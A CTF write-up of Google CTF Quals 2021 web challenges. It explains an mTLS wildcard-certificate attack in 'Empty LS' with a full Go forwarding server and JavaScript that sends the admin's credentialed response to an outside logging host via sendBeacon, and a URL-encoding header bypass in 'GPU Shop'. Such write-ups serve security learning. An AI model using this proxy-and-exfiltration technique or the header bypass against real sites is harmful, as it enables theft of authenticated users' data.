I played Google CTF Quals 2021 and here is my writeup.

I played with the Tea Deliverers team in the Google CTF Quals 2021. We sovled 2 webs in Google CTF 2021 quals but I think I have only made a small contribution. In the end, we got 11th rank, sadly I couldn’t do much. Hope I could do more in the next time!

OK. Let’s talk about the CTF.

Empty LS

There is a web challenge called empty ls. This challenge examines a security risk in the MTLS scenario. We could get the following information from the challenge:

  1. There is a website https://www.zone443.dev/. Two primary services are offered on this website.

    1. This website provides a user registration service and offers user’s certificates for download. You could register a user and get a client certificate for your identity.
    2. Another service is that it also provides a subdomain registration service. You could register a subdomain under zone443.dev and set an A record to an IP. So it means you could get a sub-domain that is entirely under your control.
  2. The challenge provides an example code and a client CA cert which could be used to verify users. Besides, you could report an URL, and the admin will check it.

  3. There is another website https://admin.zone443.dev. If you visit the admin’s website with your certificate, it will return ‘Hello, user. You are not the admin.’ The ‘user’ is exactly your username when you registered on www.zone443.dev.

So, obviously, we need to access this site as admin or steal the response when the admin visits the admin.zone443.dev in some way.

At first, I came up with an idea. Maybe we could steal the admin’s client certificate when the admin visits our website. After we get the admin’s certificate, we could try to use it to forge as admin and visit the admin.zone443.dev. But the idea is too naive. After I learn about some docs about MTLS, this may be impossible. So I get stuck.

Although the above idea doesn’t work, I think we are still on the right way. At least, our target in this challenge is much more evident than the target in letschat. (In the challenge letschat, we even don’t know what the target is, where the flag is and what we should access).

After a few hours, we found an interesting point. The certificate of the admin.zone443.dev is the wildcard. It is *.zone443.dev. But what does it mean? Then I tried to google ‘HTTPS wildcard certificate’ and ‘TLS client auth bypass’. The bad news is I couldn’t get anything helpful to solve the challenge.

We are stuck again until we came up with another idea. In the period, we also found that admin.zone443.dev doesn’t check the host. So this means there will be no warnings if you visit a subdomain whose A record is 34.140.9.160(the A record of admin.zone443.dev). That’s an interesting phenomenon.

OK. Let’s talk about XSS. If we want to read the content of the admin’s page, we need XSS. But if we’re going to XSS on our subdomain to read the content of the admin’s page, we need to break the same-origin policy. Is it really a way using a feature of HTTPS we don’t know to bypass the same-origin policy?

Based on the question, we thought, how about DNS Rebinding? But there are quite a few limitations. The max execution time of the bot’s chrome is about 10s, but the time of chrome’s DNS cache is 60s. You can’t set two A records when you register your subdomain, either.

It seems we are stuck again. All right.

Let’s review the whole challenge. Do you still remember we could take all control of a subdomain? Yeah. It means we could do what we want to do on it. So what about traffic forwarding? If we forward the traffic to admin.zone443.dev when the admin visits our website, what do you think will happen next? The response is from admin.zone443.dev, but the domain is our domain!

Why? As we said above, the certificate of admin.zone443.dev is wildcard, and it ignores the host header in HTTP, so there will be no warnings and no errors in this period. What’s more, for admin, he actually visits admin.zone443.dev with his certificate, and for browser, it thinks the domain admin visits is our domain. So, in this scenario, if we send an AJAX request to request the admin’s response on our domain, the browser will think this request doesn’t violate the same-origin policy. Because the domain which admin visit is our domain, the domain which AJAX requests is also our domain.

It makes sense! Quite like a variant DNS Rebinding. The process of the exploit is as follows.

  1. Register a subdomain through the subdomain registration service, which is provided by the challenge.
  2. Report your subdomain to admin.
  3. The admin’s browser makes the first request. At this time, the admin will visit your site and execute javascript on your page. The JS code will make an AJAX request to your subdomain.
  4. The second request is made by AJAX. You should forward the traffic to admin.zone443.dev at this time.
  5. In the end, after you get the response from AJAX, send the response to your HTTP log in some way, and you could get the flag.

That’s all the process to solve the challenge. We write a go server to forward the traffic. Thanks to my great teammate.

package main

import (
    "crypto/tls"
    "crypto/x509"
    "encoding/pem"
    "fmt"
    "io"
    "io/ioutil"
    "log"
    "net"

    "github.com/valyala/fasthttp"
    "golang.org/x/sync/errgroup"
)

// clientCAPool consructs a CertPool containing the client CA.
func clientCAPool()( * x509.CertPool, error) {
    caCertPem, err: = ioutil.ReadFile("clientca.crt.pem")
    if err != nil {
        return nil, fmt.Errorf("error reading clientca cert: %v", err)
    }
    caCertBlock, rest: = pem.Decode(caCertPem)
    if caCertBlock == nil || len(rest) > 0 {
        return nil, fmt.Errorf("error decoding clientca cert PEM block. caCertBlock: %v, len(rest): %d", caCertBlock, len(rest))
    }
    if caCertBlock.Type != "CERTIFICATE" {
        return nil, fmt.Errorf("clientca cert had a bad type: %s", caCertBlock.Type)
    }
    caCert, err: = x509.ParseCertificate(caCertBlock.Bytes)
    if err != nil {
        return nil, fmt.Errorf("error parsing clientca cert ASN.1 DER: %v", err)
    }

    cas: = x509.NewCertPool()
    cas.AddCert(caCert)
    return cas, nil
}

func servePage(conn net.Conn) error {
    log.Printf("serve page")
    clientCA, err: = clientCAPool()
    if err != nil {
        return err
    }

    serverCert, err: = tls.LoadX509KeyPair("fullchain.pem", "privkey.pem")
    if err != nil {
        return err
    }

    tlsConn: = tls.Server(conn, & tls.Config {
        Certificates: [] tls.Certificate {
            serverCert
        },
        ClientAuth: tls.VerifyClientCertIfGiven,
        ClientCAs: clientCA,
    })
    err = tlsConn.Handshake()
    if err != nil {
        return err
    }
    srv: = fasthttp.Server {
        DisableKeepalive: true,
        Handler: fasthttp.FSHandler("static", 0),
    }
    return srv.ServeConn(tlsConn)
}

func serveProxy(conn net.Conn) error {
    next, err: = net.Dial("tcp", "admin.zone443.dev:443")
    if err != nil {
        return err
    }
    var group errgroup.Group
    group.Go(func() error {
        _, err: = io.Copy(conn, next)
        return err
    })
    group.Go(func() error {
        _, err: = io.Copy(next, conn)
        return err
    })
    return group.Wait()
}

func main() {
    lis, err: = net.Listen("tcp", ":https")
    if err != nil {
        log.Fatalf("Failed to listen: %v", err)
    }

    count: = 0
    for {
        conn, err: = lis.Accept()
        if err != nil {
            log.Fatalf("Failed to accept: %v", err)
        }
        count++
        if count == 1 {
            go func() {
                err: = servePage(conn)
                if err != nil {
                    log.Printf("Failed to serve page: %v", err)
                }
            }()
        } else {
            go func() {
                err: = serveProxy(conn)
                if err != nil {
                    log.Printf("Failed to serve proxy: %v", err)
                }
            }()
        }
    }
}

The javascript code is something like this.

var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
  navigator.sendBeacon('https://http_log', this.responseText)
};
xhttp.open("GET", "/", true);
xhttp.withCredentials = true;
xhttp.send();

At last, we got the flag. Pretty cool, man!

GPU Shop

This challenge has an environment that is so complex that I don’t know how to explain it. I want to try my best to describe the setting of the challenge in short.

The challenge provides two services.

  1. The first service is a reverse proxy service https://paymeflare-web.2021.ctfcompetition.com. After you log in to this site with your Google account, you could set some settings according to the document.
    • The reverse proxy will set an HTTP header x-pay and visit your IP.
    • If you want to visit the URL which has ‘checkout’, the proxy will add an HTTP header ‘X-Wallet’.
  2. There is another service http://gpushop.2021.ctfcompetition.com. This website uses the paymeflare service as the reverse proxy. You could buy the flag on this website.
    • When you try to buy the flag, it will get the eth address from the HTTP header ‘X-Wallet’.
    • Request the balance of the eth address through cloudflare-eth.com.
    • If your balance is greater than your cost, you will get the flag.

We don’t know how to solve the challenge, so we ask our boss to get a pretty rich eth address and buy the flag in the end.

Although there are many proxies in the challenge, we could use URLEncode to bypass the ‘checkout’ limitation, and the backend will not get the ‘X-Wallet’ header. The GPU shop will get a pretty rich eth address because of the code used in gpushop.

function format_addr($addr) {
	return '0x'.str_pad($addr, 40, '0', STR_PAD_LEFT);
}
$order->wallet = $this->format_addr($request->header('X-Wallet'));

When the header ‘X-Wallet’ is not set, the value of $order->wallet is 0x0000000000000000000000000000000000000000 and the balance of this address is 0x1c923afe206b9068f3f which is greater than the cost of flag 1537550000000000000000. So we could buy the flag.

Other Webs

There are other two webs. One of them is callled letschat. In this challenge, you need to do a lot of brainstorming, and we take pretty much time to solve this challenge but still fail in the end. Although the intended solution is to predict the UUID of the message, I realized that some teams bruted the UUID to get the flag. Mmm, this really makes me mad. It’s too guessy and pretty annoying. I initially thought this challenge was inspired by some slack’s vulnerabilities from the real world, but the intended solution beat me.

The last web is an XSS challenge created by @terjanq. Pretty cool and amazing. You could read this simple solution written by him.

Thanks for reading. Hope my bad English has not affected your reading of this article. :>